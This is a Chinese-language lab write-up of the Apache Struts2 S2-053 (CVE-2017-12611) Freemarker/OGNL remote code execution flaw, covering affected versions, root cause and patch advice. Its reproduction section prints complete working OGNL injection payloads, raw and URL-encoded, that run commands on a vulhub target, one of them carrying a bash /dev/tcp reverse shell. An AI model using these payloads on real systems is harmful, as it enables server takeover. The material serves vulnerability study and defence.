# x00 漏洞概述

CVE(CAN) ID: CVE-2017-12611

Struts2 是构建企业级 Jave Web 应用的可扩展框架。

Struts 2.0.1 – Sturts 2.3.33、Struts 2.5 – Struts 2.5.10 存在一个远程代码执行漏洞,该漏洞源于在处理 Freemarker 标签时,如使程序员使用了不恰当的编码表达会导致远程代码执行。

来源:Lupin (lupin1314@gmail dot com)
David Greene (david at trumpetx dot com)
Roland McIntosh

链接:https://cwiki.apache.org/confluence/display/WW/S2-053

# x01 影响范围

Struts 2.0.1 -Struts 2.3.33
Struts 2.5 - Struts 2.5.10
Apache Group Struts 2.5-2.5.10
Apache Group Struts 2.0.1-2.3.33

# x02 复现

测试是否存在漏洞,输入:%{33-1}, 成功执行返回 32,说明漏洞存在

发送需要执行的恶意代码,执行 “ifconfig” payload:

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}


# 环境搭建

# 环境概述

  • Linux 操作系统

# 搭建过程

拉取镜像

代码语言:javascript

复制

cd vulhub/struts2/s2-053
 docker-compose up -d

image-20221207154139972

image-20221207154139972

访问 http://192.168.146.158:8053/hello.action

image-20221207154652761

image-20221207154652761

# 漏洞复现

根据 vulhub 官网的 poc,查看是否存在该漏洞。发现成功执行了删除 has vul 的语句,说明存在该漏洞。

代码语言:javascript

复制

redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27echo%20has%20vul%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
 payload原型:
 redirectUri=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo has vul').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

image-20221207154821101

image-20221207154821101

访问漏洞 url 并且添加恶意 payload 进行抓包。

代码语言:javascript

复制

redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
 payload原型:
 redirectUri=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

发现成功执行了 id 命令,发现是 root 权限。

image-20221207154929413

image-20221207154929413

修改 payload,执行反弹 shell 命令。

首先要监听端口,ip 是攻击 ip,不是漏洞靶机 ip。这里没有再开另外一台机器,因此用和靶机同一台的 ip 进行接收所反弹的 shell。

对要生成的反弹 shell 命令进行 url 编码

代码语言:javascript

复制

这里的ip地址也是攻击机的ip地址
 bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
 bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.146.158%2F9999%200%3E%261

最终的反弹 shell payload 如下

代码语言:javascript

复制

redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.146.158%2F9999%200%3E%261%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0A
 payload原型:
 redirectUri=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.146.158/9999 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

反弹成功

image-20221207155226506

image-20221207155226506

image-20221207155250437

# x03 漏洞背景

2017 年 9 月 7 日,Struts 官方发布一个中危的安全漏洞,该漏洞编号为:S2-053, 在一定条件下,当开发人员在 Freemarker 标签中使用错误的构造时,可能会导致远程代码执行漏洞

# x04 漏洞原理

Struts2 在使用 Freemarker 模块引擎的时候,同时允许解析 OGNL 表达式。导致用户输入的数据本身不会被 OGNL 解析,但是由于被 Freemarker 解析一次后变成离开一个表达式,被 OGNL 解析第二次,导致任意命令执行漏洞。

当在 Freemarker 标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行

<@s.hidden name="redirectUri" value=redirectUri />
<@s.hidden name="redirectUri" value="${redirectUri}" />

# x05 修复方案

开发人员检查  Freemarker 标签   是否使用了可写属性,并在受影响范围内。
漏洞修复建议 (或缓解措施):

  • 关闭 debug
  • 不要在代码中使用上述结构,或者使用只读属性来初始化 value 属性(仅限 getter 属性)。
  • 升级到 Apache Struts 2.5.13 或 2.3.34 版本

情报来源:

升级到 Apache Struts 2.5.13 或 2.3.34・Freemarker 标签内容不要通过 Request 方式获取・使用只读属性来初始化 value 属性(仅限 getter 属性)・不要使用如下结构

<@s.hidden name="redirectUri" value=redirectUri />
<@s.hidden name="redirectUri" value="${redirectUri}"/>

厂商补丁:

Apache Group


Apache Group 已经为此发布了一个安全公告(S2-053)以及相应补丁:
S2-053:A possible Remote Code Execution attack when using an unintentional expression in Freemarker tag instead of string literals
链接:https://cwiki.apache.org/confluence/display/WW/S2-053

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.12

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.34